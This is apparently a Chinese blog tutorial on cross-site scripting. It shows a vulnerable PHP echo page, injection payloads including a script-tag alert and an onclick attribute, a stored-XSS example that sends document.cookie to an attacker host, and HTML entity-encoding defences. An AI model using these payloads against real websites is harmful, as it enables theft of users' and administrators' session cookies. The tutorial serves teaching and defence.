web网站攻击之跨站脚本攻击xss
2019-04-23 15:30:43 【

什么是跨站脚本攻击xss?

恶意攻击者向Web页面里插入恶意html代码,当用户浏览该页时,嵌入Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。


分析一下xss的特点:


1、耗时间

2、有一定几率不成功

3、没有相应的软件来完成自动化攻击

4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底

5、是一种被动的攻击手法

6、如果website有http-only、crossdomian.xml, 则没有用


<html>

<head></head>

<body>

 <span style="font-size:14px;">  

  <meta http-equiv="Content-Type" content="text/html;charset=" utf-8"="" /> <title>xss原理重现</title>  

  <center>

   <h6>把我们输入的字符串 输出到input里的value属性里</h6>

   <form action="" method="POST">

    <h6>请输入你想显现的字符串</h6>

    <input type="text" name="xss_input" value="输入" />

    <br />

    <input type="submit" />

   </form>

   <hr />

   <!--?php  

header("Content-Type:text/html;charset=utf-8");  

$xss=$_POST['xss_input'];  

if(isset($xss)){    

echo '<input type="text" value="'.$xss.'"-->'; }else{ echo '

   <input type="type" value="输出" />'; } ?&gt;

  </center>  </span>

</body>

</html>


我们在输入框里输入 "><script>alert('xss')</script>


分析这一段的代码,前面的">是为了闭合前面的`input,这个输入就可以使弹窗出现


我们也可以输入 " onclick="alert('xss')

因为onclick是鼠标点击事件,也就是说当你的鼠标点击第二个input输入框的时候,

就会触发`onclick 事件,然后执行xss


Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。

比如我们在网站的留言区输入下面的代码:<script src="js_url"></script>

当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了


下面是XSS攻击方法:

Stored XSS


Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人


例如一个网站a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码


<script>window.open(“www.b.com?param=”+document.cookie)</script>


保存文章


这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了

他们的cookie信息都发送到了我的服务器上,攻击成功!

这个过程中,受害者是多个人。

Stored XSS漏洞危害性更大,危害面更广。


XSS防御方法:


完善的过滤体系


永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉


假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换


less-than character (<)&lt

greater-than character (>)&gt

ampersand character (&)&amp

double-quote character (“)&quot

space character( )&nbsp

比如用户输入


<script>window.location.href=”http://www.baidu.com”;</script>


保存后最终存储的会是


<<script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;


在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码


】【打印关闭】 【返回顶部
上一篇如何采取措施有效防范DDoS攻击? 下一篇ssl证书是什么?有什么用?为什么..